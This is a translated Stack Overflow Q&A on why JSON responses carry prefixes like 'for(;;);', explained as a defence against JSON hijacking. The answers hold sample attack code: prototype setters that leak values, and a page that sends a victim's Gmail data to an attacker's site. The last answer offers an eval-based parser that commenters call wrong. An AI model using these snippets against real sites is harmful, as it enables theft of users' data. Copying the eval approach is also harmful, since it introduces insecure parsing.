为什么人们会在 JSON 响应前面放置类似于 "throw 1; <dont be evil>" 和 "for(;;);" 的代码?

231

可能是重复问题:
为什么谷歌在其JSON响应中添加while(1)?

谷歌返回的json格式如下:

throw 1; <dont be evil> { foo: bar}

而 Facebook 的 ajax 返回的 JSON 数据如下:

for(;;); {"error":0,"errorSummary": ""}
  • 为什么会放置能够停止执行并且产生无效json的代码?
  • 如果它是无效的并且在尝试执行时会崩溃,如何对其进行解析?
  • 他们只是将其从字符串中删除(似乎很昂贵)吗?
  • 这样做是否有安全优势?

作为回应这是出于安全目的:

如果爬虫位于另一个域上,他们必须使用script标签来获取数据,因为XHR不会跨域工作。即使没有for(;;);,攻击者如何获取数据?它没有被赋值给变量,所以难道不会因为没有引用而被垃圾收集吗?

基本上,要跨域获取数据,他们必须执行:

<script src="http://target.com/json.js"></script>

即使没有添加崩溃脚本,攻击者也无法使用任何Json数据,除非将其分配给您可以全局访问的变量(在这些情况下不是这样)。 崩溃代码实际上什么也没做,因为即使没有它,他们也必须使用服务器端脚本才能在其站点上使用数据。


你能提供一个包含此内容的网站/JSON链接吗? - tcooc
3
参见:https://dev59.com/2XA75IYBdhLWcg3w3NLf https://dev59.com/LHE85IYBdhLWcg3wqVb5 - Christian C. Salvadó
我更新了问题,因为它们没有回答我感兴趣的部分。 - Christopher Tarquini
哈哈,喜欢“不作恶”的部分 :) - Gertjan
@Userthatisnotauser,无论答案是否改变,或者是OP移动了选中标记。总之,bobice给出了正确的答案。 - rook
4个回答

198

即使没有for(;;);,攻击者如何获取数据?

攻击是基于改变内置类型(特别是ObjectArray)的行为,通过修改它们的构造函数或其prototype。然后,当目标JSON使用{...}[...]结构时,它们将成为攻击者自己版本的这些对象,并具有潜在的意外行为。

例如,您可以将setter属性黑客入Object中,以泄露对象字面量中写入的值:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

当一个<script>标签指向使用了该属性名的JSON时:

{"x": "hello"}

值为"hello"的内容会被泄露。

数组和对象字面量导致setter被调用的方式存在争议。Firefox在3.5版本中删除了这种行为,以应对针对知名网站的公开攻击。然而,在撰写本文时,Safari(4)和Chrome(5)仍然容易受到此类攻击。

所有浏览器现在都禁止的另一种攻击是重新定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,基于ECMAScript第五版标准和Object.defineProperty的实现在IE8上无法在Object.prototypeArray.prototype上工作。

但是,除了保护过去的浏览器外,在将来JavaScript的扩展可能会导致类似泄漏的更多潜在风险,这种情况下使用chaff也应该对其进行保护。


1
非常有趣,我从未想过使用 setter。+1 - Christopher Tarquini
攻击者如何影响构造函数?客户端如何执行这些被污染的数据? - rook
了解CSRF攻击。 - Jesse Dhillon
17
我花了相当长的时间思考才理解这里的攻击机制。对于任何不理解的人来说:攻击者引诱用户进入一个由攻击者控制的页面,其中有两个脚本标签。第一个脚本对Array和Object的原型进行必要的修改。第二个脚本标签的“src”属性指向目标站点返回JSON的URL,导致用户获取JSON(在脚本请求中发送Cookie;无法避免),并将其作为JavaScript执行。 - Mark Amery
2023年还适用吗? - undefined
显示剩余2条评论

61

假设你在查看完Gmail账户后,访问了我的恶意网页:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在会发生的是,从Google获取到的Javascript代码——提问者认为它是无害的并且会立即超出范围——实际上将被发布到我的恶意网站上。假设在脚本标签中请求的URL发送(因为您的浏览器将呈现适当的cookie,Google将正确地认为您已登录到收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把这个对象的序列化版本发布到我的恶意服务器上。谢谢!

防止这种情况发生的方法是使您的JSON响应变得复杂,并在您可以操作该数据的同一域中进行简化处理。如果您喜欢这个答案,请查看由bobince发布的答案。


1
我非常确定 Gmail 的身份验证不仅仅基于 cookie,因为正如你在这里描述的那样,那将是非常非常薄弱的。我认为他们还将会在 URL 中加入会话密钥,这样你的页面就无法拦截。 - Dykam
38
针对程序员的网站存在的问题是,偶尔会遇到一些琐碎无用的人。试试这个:a)这只是一个示例,展示了此类攻击可能如何进行,并不是针对Gmail实施攻击的完整黑客参考手册;b)正如另一个回答中指出的那样,针对Gmail演示了类似的攻击,允许攻击者访问用户的联系人列表。 - Jesse Dhillon

26

编辑

这些字符串通常被称为“无法解析的杂质”,它们用于修补影响JSON规范的信息泄露漏洞。这种攻击是真实存在的,Jeremiah Grossman发现了Gmail中的漏洞。Mozilla也认为这是JSON规范中的漏洞,并且已经在Firefox 3中进行了修补。但是,由于该问题仍然影响其他浏览器,因此需要使用这种“无法解析的杂质”,因为它是一个兼容的补丁。

Bobice的答案对这种攻击进行了技术上的解释,并且是正确的。


1
这不是正确的答案,无论谁给出了答案。综合性和正确性方面的正确答案是由用户bobince在底部给出的。防止脚本生成的JSON输出在浏览器中被查看甚至没有意义,如果它具有Content-Type“text / json”,它甚至不会被打开,如果它是“text / [x] html”,它将是错误的HTML。在任何情况下,如果作为输入文档提供,则浏览器都不会执行它。Crufting是为了防止CSRF攻击和JSON评估,因为在攻击者的站点上,对象原型可能会被覆盖以窃取数据。 - Jesse Dhillon
1
@Jesse Dhillon的看法也许是正确的,但他的帖子缺少一些内容,攻击者如何影响构造函数并不清楚。我仍然认为这是为了保护跨域代理。目前我更倾向于谷歌的观点。 - rook
阅读http://en.wikipedia.org/wiki/CSRF。我有一个网站;你在登录了JSON重型银行网站之后来到我的网站。在我的网站上,我定义了构造函数,因为这是我的网站。我嵌入了一个跨域脚本标签,OP认为这会导致良性对象立即被丢弃,但实际上并不是。它们被我的恶意构造函数所捕获。 - Jesse Dhillon
@Jesse Dhillon 我承认我不完全确定这个问题。我不喜欢Bobince的答案,因为它不是攻击场景。你必须承认你也没有答案(但你给了我一个负分)。它可能与CSRF有关,但就目前而言,我无法看出这种安全机制如何防止攻击者获取CSRF令牌或绕过引荐检查。 - rook
2
@Jesse Dhillon,看看我写的这个漏洞利用(http://www.exploit-db.com/exploits/7922/)。如果你能告诉我这个XHR攻击与无法解析的Curft有什么关系,我会接受它与CSRF有关。因为安全机制是用JS编写的,所以我非常确定它与XSS相关。 - rook
显示剩余8条评论

5
如果它无效并且尝试eval会崩溃,那么他们如何解析它?
如果您尝试eval,它会崩溃,这是一个特性。 eval允许任意JavaScript代码,这可能会被用于跨站点脚本攻击。
他们只是将其从字符串中删除(看起来很耗费资源)吗?
我想是这样的。 大概像这样:
function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

“不作恶”这个废话阻止了开发者直接使用eval,而非更安全的替代方法。

7
它存在是为了防止使用 eval。不要试图规避它,而是使用专用的 JSON 解析器! - kibibu
这似乎更接近实际目的,而不是为了防止爬网站(因为无论如何,您都需要服务器端脚本来进行网站抓取)+1。 - Christopher Tarquini
7
如果您不介意,我想查看那个正则表达式。提示-不要浪费时间尝试编写它 :) - Kobi
@dan04 我知道了,这个答案是错误的。我从一位 Google 员工那里找到了一个解释。 - rook
1
有点晚了,但这个答案完全不相关且错误。 - michael
显示剩余3条评论

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接